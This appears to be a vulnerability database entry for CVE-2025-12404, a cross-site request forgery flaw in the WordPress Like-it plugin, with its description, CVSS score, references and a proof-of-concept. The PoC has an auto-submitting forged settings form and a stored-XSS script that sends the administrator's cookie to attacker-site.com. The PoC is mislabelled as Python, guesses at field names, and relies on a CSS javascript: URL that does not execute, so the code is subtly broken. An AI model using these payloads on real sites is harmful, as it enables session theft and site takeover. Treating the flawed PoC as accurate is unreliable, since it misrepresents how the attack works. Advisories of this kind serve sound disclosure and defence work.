CVE-2025-12404

Description

The Like-it plugin for WordPress is vulnerable to Cross-Site Request Forgery in all versions up to, and including, 2.2. This is due to missing or incorrect nonce validation on the likeit_conf() function. This makes it possible for unauthenticated attackers to update settings and inject malicious web scripts via a forged request granted they can trick a site administrator into performing an action such as clicking on a link.

CVSS Details

CVSS Score

6.1

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N

Configurations (Affected Products)

No configuration data available.

WordPress Like-it plugin ≤ 2.2

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

<!-- CSRF PoC for CVE-2025-12404: Like-it Plugin Configuration Change -->
<html>
<body>
<form action="http://target-site.com/wp-admin/admin-post.php" method="POST" id="csrf-form">
    <input type="hidden" name="action" value="likeit_conf" />
    <input type="hidden" name="likeit_button_text" value="Click me" />
    <input type="hidden" name="likeit_custom_css" value="img { background: url('javascript:alert(document.cookie)'); }" />
    <!-- Add other configuration parameters as needed -->
</form>
<script>
    document.getElementById('csrf-form').submit();
</script>
</body>
</html>

<!-- Stored XSS PoC (after CSRF successfully modifies settings) -->
<!-- Attacker injects malicious JavaScript through the vulnerable configuration -->
<script>
    // Malicious code to steal admin session or deface site
    fetch('https://attacker-site.com/steal?cookie=' + document.cookie);
</script>

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2025-12404
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2025-12404
[3] CVE Details https://www.cvedetails.com/cve/CVE-2025-12404/
[4] VulDB https://vuldb.com/cve/CVE-2025-12404
[5] https://plugins.trac.wordpress.org/browser/like-it/tags/2.2/like-it.php#L130
[6] https://plugins.trac.wordpress.org/browser/like-it/tags/2.2/like-it.php#L131
[7] https://plugins.trac.wordpress.org/browser/like-it/tags/2.2/tpl/config.php#L37
[8] https://www.wordfence.com/threat-intel/vulnerabilities/id/6ad1d9f5-c224-4d28-8d73-439b3c5ca24f?source=cve

Raw JSON Data

JSON

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